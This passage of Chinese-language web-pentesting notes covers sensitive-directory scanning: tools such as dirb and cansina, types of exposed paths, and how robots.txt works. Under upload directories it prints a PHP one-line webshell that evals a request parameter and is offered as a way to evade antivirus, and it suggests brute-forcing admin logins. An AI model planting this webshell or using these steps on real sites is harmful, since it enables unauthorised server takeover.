敏感目录扫描
敏感目录扫描能够得到其他网页的很多信息,找到后台管理页面,尝试进入后台,然后提升权限等
扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄露
工具
常用工具:御剑,dirb,dirbuster,dirmap,dirsearch,wwwscan,cansina,Webdirscan
其中dirb,dirbuster在kali上已经安装,使用很方便简单。
下面我们介绍三个,其他没说到的可以在github上下载。
dirbuster
dirb
dirb https:www.baidu.com
cansina
可以基于多线程探测;支持代理;能够跳过404;跳过被过滤的内容
-u:目标url地址
-p:指定字典文件,需要自己编写
-b:禁止的响应代码如果 404 400 500
-e:只扫php或asp或aspx扩展。
-c:在网页中查找一些关键字。也可以添加多个关键字。
-d:就是查看文件中是否有要找的字符,如果没有将自动返回404特征码。
-D:自动检查并返回特定的404 200等
敏感目录类型
-
后台目录:OA系统管理后台,cms管理后台,数据库管理后台等
弱口令,万能密码,暴力破解,逻辑漏洞
-
上传目录:利用brupsuite抓包,上传木马
其他方式写一句话木马,减小被查杀的风险
-
用define函数
<?php define("hi","$_REQUEST[young]"); eval(hi); ?>
- 将关键代码放在字符数组,然后在遍历字符数组进行绕过
-
-
安装包:获取数据库信息,甚至是网站源码
-
phpinfo:可以看到很多的配置信息,比如function_disable中禁用的功能;SERVER-ADDRIP中暴露的IP地址等
-
安装页面:可以二次安装进行绕过
-
编辑器:fck,ke
-
iis短文件利用:利用条件比较苛刻,windows,apache等
robots.txt
robots.txt是专门针对搜索引擎机器人robot编写的一个纯文本,在文件中被指定的网站,可以不被搜索引擎收录,因此这些重要的网站就不会被访问到
User-agent: *
Disallow: /data/
Disallow: /db/
Disallow: /admin/
Disallow: /manager/
Allow: /images/
Disallow 后面是禁止robot 收录部分的路径
如果我们想让robot 禁止收录网站目录下的 data文件夹,只需要在Disallow
参数后面加上 /data/
即可。如果还想收录其他目录,依次按照此形式进行添加。添加完之后保存,然后放在网页的根目录下
虽然 robots
文件目的是 防止被爬取敏感目录